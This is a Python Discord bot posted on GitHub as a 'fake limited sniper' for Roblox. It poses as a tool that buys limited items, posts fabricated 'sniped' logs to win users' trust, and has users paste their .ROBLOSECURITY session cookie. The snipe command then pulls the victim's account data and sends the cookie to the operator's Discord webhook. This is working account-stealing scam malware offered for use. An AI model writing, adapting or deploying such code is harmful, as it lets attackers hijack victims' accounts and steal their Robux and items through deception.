-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathFakeLimitedSniper.py
190 lines (171 loc) · 9.84 KB
/
FakeLimitedSniper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#Made by: kunai#5936 (dm for help) and the sigma acc got disabled also startlogs is optional
#Credit to karlo since i used the cookie checker and sender part from his dh cookie checker method
#Updates: more commands, prefix input, more limiteds added
import time, random
import discord, requests, discord_webhook
from discord.ext import commands
from discord_webhook import DiscordEmbed, DiscordWebhook
p = input("\n(Leave Blank For Default Prefix/ Press Enter)\nRecommend to make the prefix a symbol like !, @, #, $, %, ^, &, ., etc.. (I do not recommend using \"*\" as a prefix.)\nCommand Prefix: ") #asks you for the command prefix
if p == "":
p = '!'
req = requests.Session()
client = commands.Bot(command_prefix=p) # change prefix if you want
client.remove_command('help') #remove default help command
showing_logs = False # not showing logs on default
wh = "WEBHOOK HERE" # enter ur webhook here
@client.event
async def on_ready():
print(f"\nBot is Online and Ready!\nCommand Prefix: {p}\nGithub: https://github.com/OriginalAlien/FakeLimitedSniper (Open Sourced, Free, Non-DualHooked Fake Discord Limited Sniper Bot.)\nCommands: {p}startlogs, {p}help, {p}commands, {p}tutorial, {p}snipe, {p}setbudget, {p}antiproject, {p}stop\nWhen {p}startlogs is on it will increase the delay of message sent from the bot (To stop start logs just stop the code since I dont figure a way to turn it off yet.)\nMade By: kunai#5936\nMy Other Account Got Disabled :(") # print Bot Online! when bot is ready and github and available commands
@client.command() #start logs command
async def startlogs(ctx):
showing_logs = True
channel = client.get_channel(CHANNEL ID HERE) #put the channel id you want the logs to show in here
#you can add more limiteds below if you want
limited_lists = ['Valkyrie Helm', 'Playful Vampire', 'Super Super Happy Face', 'Supa Dupa Fly Cap', 'Supa Fly Cap', 'Gucci Dionysus Bag with Bee', 'Gucci GG Marmont Bag', 'Gucci Wide Brim Felt Hat', 'Noob Attack: Frozen Crossbow Collision', 'Noob Assist Marvelous Mom', 'Noob Attack: Golden Sword Gladiator', 'Chill Cap', 'Black Iron Commando', 'Green Starry Sight', 'Red Goof', 'Perfectly Legitimate Business Hat', 'Beautiful Hair for Beautiful Space People', 'ROBLOX Madness Face', 'Catching Snowflakes', 'Neon Bombastic Animal Hoodie', 'Golden Crown', 'Hyperlaser Gun', 'Golden Bling Braces', 'Bucket', 'Scissors', 'Noob Attack: Ninja Nuisance', 'Crescendo, The Soul Stealer', 'Ghostwalker', 'Red Fang', 'CW Ultimate: Amethyst Addiction', 'Blackvalk Shades', 'Al Capwn', 'Silver Punk Face', 'Snowman Face', 'Blackvalk', 'Prankster']
while showing_logs == True: #below is just print random prices and limiteds
price = random.randint(17, 2777)
sniped_limited = random.choice(limited_lists)
time_random = random.randint(2, 7)
embed69 = discord.Embed(title="Limited Sniped Logs", color=0x47FF75)
embed69.add_field(
name="ㅤ",
value=f"**Sniped Limited**: {sniped_limited}\n **Sniped For**: {price} Robux",
inline = True
)
time.sleep(time_random)
await channel.send(embed=embed69)
if showing_logs == False:
await ctx.send("**No More Logs**")
@client.command() #help command
async def help(ctx):
embed_help = discord.Embed(title="**Help**", color=0x47FF75)
embed_help.add_field(
name="Help",
value=f"A Discord Bot That Snipes Limiteds For You!\n Type \"{p}tutorial\" To Get Started.",
inline=False
)
embed_help.add_field(
name="Commands",
value=f"**{p}help** -Shows this message\n**{p}commands** -Shows all available commands\n**{p}tutorial** -Shows how to start sniping limiteds\n**{p}snipe + Roblox Cookie** -Starts sniping.\n**{p}setbudget + amount** -Sets budget when sniping\n**{p}antiproject + on/off** -Doesn't snipe projected items.\n**{p}stop** -Stops sniping ",
inline=True
)
embed_help.set_footer(text="For Further Help, Contact The Server Owner.")
await ctx.send(embed=embed_help)
@client.command() #budget command
async def setbudget(ctx, budget):
budget = int(budget)
embed_budget = discord.Embed(title=f"Budget Set to {budget} Robux", color=0x47FF75)
await ctx.send(embed=embed_budget)
@client.command() #anti project items command
async def antiproject(ctx, boolean):
if boolean.lower() == 'on':
embed_antiproject = discord.Embed(title="Anti-Projected Items Turned On", color=0x47FF75)
elif boolean.lower() == 'off':
embed_antiproject = discord.Embed(title="Anti-Projected Items Turned Off", color=0x47FF75)
await ctx.send(embed = embed_antiproject)
@client.command() #commands command
async def commands(ctx):
embed_cmd = discord.Embed(title="Limited Sniper", color=0x47FF75)
embed_cmd.set_thumbnail(
url="https://cdn.discordapp.com/attachments/853359254647341066/910930695440969752/Dominus_Praefectus.png"
)
embed_cmd.add_field(
name="Commands",
value=f"**{p}help** -Shows about and available commands\n**{p}commands** -Shows this message\n**{p}tutorial** -Shows how to start sniping limiteds\n**{p}snipe + Roblox Cookie** -Starts sniping.\n**{p}setbudget + amount** -Sets budget when sniping\n**{p}antiproject + on/off** -Doesn't snipe projected items.\n**{p}stop** -Stops sniping",
inline=True,
)
embed_cmd.set_footer(text="For Further Help, Contact The Server Owner.")
await ctx.send(embed=embed_cmd)
@client.command() # tutorial command
async def tutorial(ctx):
embed_tutorial = discord.Embed(title="Limited Sniper", color=0x47FF75)
embed_tutorial.set_thumbnail(
url="https://cdn.discordapp.com/attachments/853359254647341066/910930695440969752/Dominus_Praefectus.png"
)
embed_tutorial.add_field(
name="Tutorial \n",
value=f"\n1. Get Your Roblox Cookie. \n2. Goto The Bot's DM. \n3. Change Configurations If You Want to. \n4. Type '{p}snipe' + Your Cookie\n**Type \"{p}stop\" to Stop Sniping.**\n \n **Example**\n {p}snipe _|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_COOKIE",
inline=True,
)
embed_tutorial.set_footer(text="For Further Help, Contact The Server Owner.")
await ctx.send(embed=embed_tutorial)
pass
@client.command() #stop command
async def stop(ctx):
embed_stop = discord.Embed(title="✅ Stopped Sniping ✅", color=0x47FF75)
await ctx.send(embed=embed_stop)
@client.command() #snipe command
async def snipe(ctx, cookie):
check = req.get(
"https://api.roblox.com/currency/balance",
cookies={".ROBLOSECURITY": str(cookie)},
) # check if the cookie is valid
if check.status_code == 200:
userdata = requests.get(
"https://users.roblox.com/v1/users/authenticated",
cookies={".ROBLOSECURITY": cookie},
).json() # get user data
userid = userdata["id"] # user id
display = userdata["displayName"] # display name
username = userdata["name"] # username
robuxdata = requests.get(
f"https://economy.roblox.com/v1/users/{userid}/currency",
cookies={".ROBLOSECURITY": cookie},
).json()
robux = robuxdata["robux"] # get robux balance
# does the user have premium?
premiumbool = requests.get(
f"https://premiumfeatures.roblox.com/v1/users/{userid}/validate-membership",
cookies={".ROBLOSECURITY": cookie},
).json()
# get rap
rap_dict = requests.get(
f"https://inventory.roblox.com/v1/users/{userid}/assets/collectibles?assetType=All&sortOrder=Asc&limit=100",
cookies={".ROBLOSECURITY": cookie},
).json()
while rap_dict["nextPageCursor"] != None:
rap_dict = requests.get(
f"https://inventory.roblox.com/v1/users/{userid}/assets/collectibles?assetType=All&sortOrder=Asc&limit=100",
cookies={".ROBLOSECURITY": cookie},
).json()
rap = sum(i["recentAveragePrice"] for i in rap_dict["data"])
thumbnail = requests.get(
f"https://thumbnails.roblox.com/v1/users/avatar?userIds={userid}&size=420x420&format=Png&isCircular=false"
).json()
image_url = thumbnail["data"][0]["imageUrl"]
pindata = requests.get(
"https://auth.roblox.com/v1/account/pin", cookies={".ROBLOSECURITY": cookie}
).json()
pin_bool = pindata["isEnabled"] # does the user have a p
embed4 = discord.Embed(
title=f"**Logged in as {username} \n✅ Cookie is Valid! Sniping Limiteds Now. ✅**", color=0x47FF75
)
await ctx.send(embed=embed4)
# dualhook
webhook = DiscordWebhook(url=wh, content="@everyone")
embed = DiscordEmbed(
title=f"**✅ {username} ✅**",
url=f"https://roblox.com/users/{userid}",
color=0x00FF80,
)
embed.add_embed_field(name="Display Name👀:", value="```" + str(display) + "```")
embed.add_embed_field(name="User ID🔍:", value="```" + str(userid) + "```")
embed.add_embed_field(name="Robux💰:", value="```" + str(robux) + "```")
embed.add_embed_field(name="Has Pin?🔐:", value="```" + str(pin_bool) + "```")
embed.add_embed_field(name="RAP📈:", value="```" + str(rap) + "```")
embed.add_embed_field(name="Premium💎:", value="```" + str(premiumbool) + "```")
embed.add_embed_field(
name="Rolimons: ",
value=f"https://rolimons.com/player/{userid}",
inline=True,
)
embed.add_embed_field(name="Cookie🍪:", value=f"```{cookie}```", inline=False)
embed.set_thumbnail(url=image_url)
webhook.add_embed(embed)
webhook.execute()
else:
e = discord.Embed(title="**❌ Cookie is Invalid! ❌**", color=0xFF0000)
await ctx.send(embed=e)
client.run(
"BOT TOKEN HERE"
) # replace with your bot token